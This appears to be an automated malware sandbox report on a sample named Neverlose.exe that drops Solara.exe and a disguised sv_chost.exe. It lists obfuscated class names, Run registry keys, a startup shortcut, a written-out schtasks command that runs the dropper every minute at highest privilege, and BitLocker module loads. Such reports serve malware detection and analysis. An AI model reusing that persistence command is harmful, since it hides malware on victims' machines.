Source: sv_chost.exe.4.dr, Wj3PjIfqD1OSSp0iwZycbM1aD.cs	High entropy of concatenated method names: 'RXrXjEiYvFSIlBcduEeeE8lH9', 'PAxhwEy1krySFSbJSOQcG3gSJ', 'h98aL2t7wod8gzaBng9cdkgtH', '_9U2gA8lwegLGMUrP7KqCkKV8c', 'm4R9ZM4JZ4viyR28mfUhQU3fP', 'A8TvHfc9O4NDr5h6uXJJKzIcY', 'nHGP2MMab7ieetFHPOCzaS0lh', 'JdBvwjbLekFt843r0HegBknfw', 'mbqZYrm30q4fPFbOLgm25u4QJ', 'Q5OEHHUrArBRxsi9WguVtcyVW'
Source: sv_chost.exe.4.dr, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	High entropy of concatenated method names: 'GxO3TdFlvoojPQarF5sHZUWQYcUQdoqTpgV2TADkl0NcyK2z7GmcJ1EGd2nRNhSmmoadBkC9YhNvhAemX9Ndm5U88NtOFEwITP', '_8wGo8NDHX8IchWy5emXSDv58GsBJnMRJrxlvCNrMLX48UbwnmVQfxREEfpw4G2Tuu4auegCyaaryctNC0Q0nLeRkTUs3XboLtu', 'gSvqT2UygyJ8SEjhMz7WS7m4GviFjA1XZYwOVOHhvBzrbxP7uVxVztEo7dBbVRiXjBb14k7OcyjNH3V1GWNZoyFALczGvFNfWh', 'lygg1I8X9Vr3DNzZlHUWuu4Y6PRhc9lVV7knYyo2zmgOU4xvgj9MJceVz6xWblv3I4g5EbMYpmEsQofqmkXunWyryhatai6Fdv', 'YCoF4EvPrPjHQZ0HflYeaTjEsgqlACwC0h38tj5QaCfIhEklMWUvJq0IS5nOUnscQc0fKGXHPoc8h1DBGRTiTECaza65ubAEDJ', 'wRC9iO4UNSzzIHVnbM5hHNX6arORUdzwaxfB0tvq68IBKllpxL0xh5L0bnmMmbjrgXbl8gDAJwtE5GbFyFqbN0FPO375CsO4EM', 'qG32MDQ12K0GRA77JkqYtxX7Wf6hJdixIDbhktqaarUafj0WT04RKQX5XPRiRXtWFcktaSI0QJGQ322mYhJkaLC1eMgyMk5jHM', 'dPRlkea35Qb0tgllFMwACj1BznSFtzDtR56UqoK9JDthAljsFZnwkO79aDMsHR69xEGY6XKNJgXE08sC7SoWgn2zgNzVgwRTh9', 'Vbpv1QaisRwG8kMSJBQbtGSKL9CgA2BqkRlIts0WrpIHBAqa0w9zke4GGpMuPwYlS3JcO39JftJABy29gXidcex6SlO5ShynID', 'natV2pBRfwSVKnZRVRxJPMfLHM539iW0KWweYNUAmjvkmFDnnT6vX7QqdIM6rVTaHDMpeksTKcfDkfBUvxPqozyxdZIATHo0es'
Source: sv_chost.exe.4.dr, P2XOur6bqoe5LxNtDHyiL3aGh.cs	High entropy of concatenated method names: 'aJJJWPOIkTbTkss4Igvj4IkdB', 'R3CY8bj7ZA7ssA0a57qXXqY2zaw4WTCya0YoxYCbdT61szRxWvcYxbbIwW94', 'bqodObM0EtWvsA8UOldQGkJQG81RBNBuXPmGbHCcrEiiNGgTwugTyAVpgTlu', 'mMZZ9OHwXusb2dKkVAQ1jgP0av6JAL2tHls9WWek56WkeUmnDGvug2kQ0uTY', 'L93aRCzIAJy7U8XuS69Rgkgz9zS99KEIiCwZxFUvfymVhwdXkjpwYPeRs0cZ'
Source: sv_chost.exe.4.dr, 9anJqYyVCjcrXTuH1GzopYW8wzyY78Cd40FBQZs2D00E8Ibmuz0NNIGaS8nPFW6rEQFzkcsRuNbLEld04TJOzbVcsq03WRbNSG.cs	High entropy of concatenated method names: 'vhyLcb9WwRxTlJ28NuxeWPj0eoKj5cZufOpv2fBjWc44RyALE2I2OQdqaJYlhndX0LbEnkiruOJ2bQvqLyr3ruQEqUvD0c6m7C', 't02xA0JZht1N9iOyAPNGa0fXGh1ru1pr2VC7SlnQtH3f9wDeVo3meILYSyQBPUe3iI4owHK3dhSfPqdqN37iNWZMJ72HGsWfXv', 'c0LqPsDD9vpIvPboJ2p5Vh8iro038VLiShiPHknWmWUdf281xfhpF5O0R1rdB1a3WUgZlStGKEdW9y1dm7erjqRg6Vdm1uXAOO', 'JUqhuH2arwD8n31kiAbg25H76i8zc3Hvg2zJKbIzkdGWcLQJDPsvan1fbFnNj62ZfHJHWKwJB1UJ8nuH6o6aSkuIFkhi3rfLVb', '_45Z3UpAryp7dJR4jHvUasCrIXOby7BdcytU33dsicQQGZkPrxbPW5hxjl4CeJfPOKh9fd8YU5zwfIRsrQEdE0zFUz5ETKJB8BW', 'uGYoX3KpGSaukuhq6MExbq3sp3emPKwCGpsHl8eT1Rjnn3jfdDFnx7fVXR7w', 'v6aaD0eafsx1Lm9zTRXenuXlPSOHP0BbmYHbUtxy1n8cs92X0VMVZ1CGgbft', 'BBMDmVpkEAPx6KlniT6v1pY597rRrIgbFPQ5DabpusmxSfzNuDhrCru5hViv', 'ozDyrJ7c8KthqWAA2IjogXVpWuVYBITckeTOIGZ25Je38Wvi28wQsSR04zZz', 'YsSKpaSercYU0RD2KNsU9fN7DsqpnqImXkxiT6K21QVFBaNcCft5zM5qKTta'
Source: sv_chost.exe.4.dr, vQAPrP9GTLqDP2TnxJeVqWDPZUl80OjDPKWiB9VD1kMfb5r21UVMVWfhd592gHEG8uqxz64WQlAbmJteBo6yNqI0GEgj98oDxc.cs	High entropy of concatenated method names: 'PAzJ2Vuz2610vI1WuG7NojUv2f66IGmfr3y7CIyzNVWTOmPLeJ0i1ZVt373gl2wjwTxjgFJRBRazzKwe7lJXrgu2hVeXBxtHhg', 'hIVubgYXHBzKvBDW0ilVwVIt1Vvs0H2aeGoqzLiMzjW5neC3LgPbhLVA76XswcKn7mJLmiAEXvIokptm0Ek9Ufiq9WzUtxGFaU', 'hAe4tkQP421eNr7Zc4MeougE41ZHAsl1ljhPHDgAIocDCXl7fF6GE3vOH12dOwlsJ9qhNeACsGU8qgAjfZjpfFeTltZmprhlHk', 'Bf8uaoyAmqUuabzA1M9c19yH1J2QckpWPPZ3MrTre2cHTMS1q73va5tmvsBLDZfzOmDYx8xxcndB3tbuzRtKUmVUiD1F1gQI7C', 'VwkVlWGISswZyeOkrSiHbu9jO17cxX9l3shzwvLRAHAzrqhKrB3Y8smKrcGyS4OeR0jHaUGOIwVp8GGlMWTxvqPckiEPj4MTDJ', '_7EG628END1shnUJVHgqToJjFeefrJgkPKk3lcLTZ8viUSYF8f5eFRwC70J8i9C50by3SmQonZLbNaWDPu21o8eVV829cgeoZvh', 'DAPRzYyW2xpLAKpXBLhoVztCUq7U0k4YkvkQzm5jumXywN8ckqgVsNoH8eN98JHCQNcIE67Bprcd0v3lhyd1B4hypI8gZ40nPg', 'GtofFdJ4qCtavXAGBjCunL2YwMO3rMk8OpyqgJJO8BRwD9hLP5nkWO3TkBcpSSp0oKRH4HAY5wJF04QOylCX26oqBm9Z9qfAuQ', 'QaWNagj6M4ABQakOS6OTPHDPDHY4cmTHkTTUsuzR00UI8ZN7q6d6UOgSbaBPordllN3DEMmSOtXXTnWOpE1ixPril51cpmyfGe', 'Y7slcQu3AJ0VF6BzAsMpAMAhDbYkKbt2eSIANY2JBkcGEMtNFPmmlTfBetZ0E919JifefOp9Rq06xhPqH225keFAlsVMrfDijg'
Source: sv_chost.exe.4.dr, E8phRKCKw5AfpQsOlZWL2sYGK.cs	High entropy of concatenated method names: 'woNNvbBHYYayGYkYBOl894t8i', '_3s5PwmBfKfiBCNOBQXr0grICf4uPFzQHgqdzkNyJBjrIBUyGowcEc52SRFc2zzv4zcjKlakgQDICleDyrlrOhYZs0Jdi4', 'LSyWMQAAazaffZiZKajqA1c9rwn5yD9bDrDB8PR1H2yF5HG4F19i1ZNieIEf90ddo6SEUBQAwvknoODglzpPnX6Z9SSES', 'F3aZ3ypQuDq48GzTIxVHe8vxnCLJ8vBqTPQDQygY1wjSeZlTLh3Oh9qS6YwnliV08FqlfIXvcpqXSrV1npLppBO7g4X2x', '_0WmFIssJVQqfaVIKIPw5SIJKWfhVdrSCNmeCyu7PcrBNHimyjP0ENQZyqeXcn7tgmq2RD0QZOmYwdmyCYH7eKMOV5ILUg'
Source: sv_chost.exe.4.dr, 0RhgANw5PGWmGKZ15e5NJiNQS.cs	High entropy of concatenated method names: 'rYVj5gN0TIrof0Ma56WAroWQX', '_3pY46X5nz8CyVBKd1fbfZimFh', 'B2sZNRjBHELj1BmXrJVBlwNh7', 'qJ5EUBuUhc6rQE3MB3cSPjITV', '_8YmVh1FhqE6WBC39aVR1v8sUmJmjJ3oR5kLT3uoZFvTCxKVOX3S4L6rw8iGqkMrheFxdYCWh8SC4Ri8qgV2NlkrWTWHmY', 'WJ9Ilb8WZtm4dcpxmii76VNMgm0VSFxEfym5TAyNrulmyZGN6UHNN5tdhhVJPj0KY53lSQBTzlJEQgCrAeXxXR0sD8tvI', 'bPY3VKC7hCUncfFuSChDTAo6zUo7JtfRfk5JUmQEJYxLSHU0HdS3MDBy6oOXGdIb6mLW47lYGYBlutT24KGw3pgrTe5V8', 'bUzlZdvTPOO0W5unfSl8GVKgBoAl9e6vBv0j57lKM4Hy84L9Am5u1ovnbJrhzZJHffqeikF1JOD00uCYZUr0CRKRrT3Hs', 'syRWe5KmsTdoPh058MzXXhs8Q2bSKwiAjaibQmmTaqM4CvqiOx2ZSJwmU55NyeFrXBprlOwsmsErXlfabM43VtzPOcogG', 'E7PHFRwMBYzt2AJjaqXkACO1EaoJ5H15wT25EfsEZawy84TyYDjrvHPvR3Uj6DKCcFwA4fEp1g0K4hpznNlKtUGIqOegp'

Source: C:\Users\user\AppData\Local\Temp\Solara.exe	File created: C:\Users\user\AppData\Roaming\sv_chost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Neverlose.exe	File created: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Neverlose.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sv_chost			Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Solara			Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\Solara.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "sv_chost" /tr "C:\Users\user\AppData\Roaming\sv_chost.exe"

Source: C:\Users\user\AppData\Local\Temp\Solara.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sv_chost.lnk

Source: C:\Users\user\AppData\Local\Temp\Solara.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sv_chost.lnk

Loading BitLocker PowerShell Module

Source: C:\Users\user\Desktop\Neverlose.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Solara	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Solara	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sv_chost	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sv_chost	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
